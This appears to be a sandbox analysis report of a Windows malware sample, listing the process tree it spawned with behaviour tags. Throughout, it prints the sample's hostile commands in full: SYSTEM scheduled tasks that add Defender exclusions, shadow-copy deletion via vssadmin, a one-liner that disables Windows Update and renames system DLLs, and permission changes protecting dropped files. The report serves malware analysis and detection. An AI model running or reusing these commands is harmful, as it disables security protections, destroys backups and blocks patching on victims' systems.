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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1332
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1508
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2564
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4804
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2236
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3536
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3104 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5068
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3404
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:212
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C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe"C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe"2⤵
- UAC bypass
- Drops file in Drivers directory
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- Event Triggered Execution: Screensaver
- Checks processor information in registry
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3176 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
PID:1356
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b" /inheritance:r3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3512
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:4760
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3320
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SysWOW64\net.exenet stop wuauserv4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv5⤵
- System Location Discovery: System Language Discovery
PID:1872
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
PID:2004
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""4⤵
- Launches sc.exe
PID:2600
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C:\Windows\SysWOW64\net.exenet stop UsoSvc4⤵PID:5104
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc5⤵PID:4312
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C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4408
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C:\Windows\SysWOW64\sc.exesc failure UsoSvc reset= 0 actions= ""4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4772
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C:\Windows\SysWOW64\net.exenet stop uhssvc4⤵PID:1668
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop uhssvc5⤵PID:1760
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C:\Windows\SysWOW64\sc.exesc config uhssvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5036
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C:\Windows\SysWOW64\sc.exesc failure uhssvc reset= 0 actions= ""4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2880
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C:\Windows\SysWOW64\net.exenet stop WaaSMedicSvc4⤵PID:3136
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WaaSMedicSvc5⤵
- System Location Discovery: System Language Discovery
PID:1632
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C:\Windows\SysWOW64\sc.exesc config WaaSMedicSvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1488
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C:\Windows\SysWOW64\sc.exesc failure WaaSMedicSvc reset= 0 actions= ""4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1616
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4652
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4736
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:5024
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-04⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1812
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\wuaueng.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2556
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4372
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3820
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-04⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1832
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f4⤵
- System Location Discovery: System Language Discovery
PID:3684
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f4⤵
- System Location Discovery: System Language Discovery
PID:1700
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
PID:3468
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3224
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Xa4P2b\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Xa4P2b\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4412
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:5032
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:1612
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:216
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2944
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:1716
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:2980
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2000
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5052
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1340
-
-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2856
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:952
-
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:4324
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4380
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\image.png" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\image.png" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3504
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1644
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2080
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\thumbs.db" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2512 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\thumbs.db" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:924
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4616 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3572
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-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:4424 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5084
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:3404
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:5044
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2764 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1824
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4620 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3732
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4536 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:628
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:3292 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2000
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4888
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:3972 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2884
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:1756
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:872
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C:\Users\Public\SSg21l\siY1UN.exe"C:\Users\Public\SSg21l\siY1UN.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3224
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\SSg21l" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\SSg21l" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1772
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4448
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4596
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1776 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1700
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4948
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C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe"C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3608
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C:\Program Files (x86)\Ir1RZajV\S63dy9W.exe"C:\Program Files (x86)\Ir1RZajV\S63dy9W.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3464
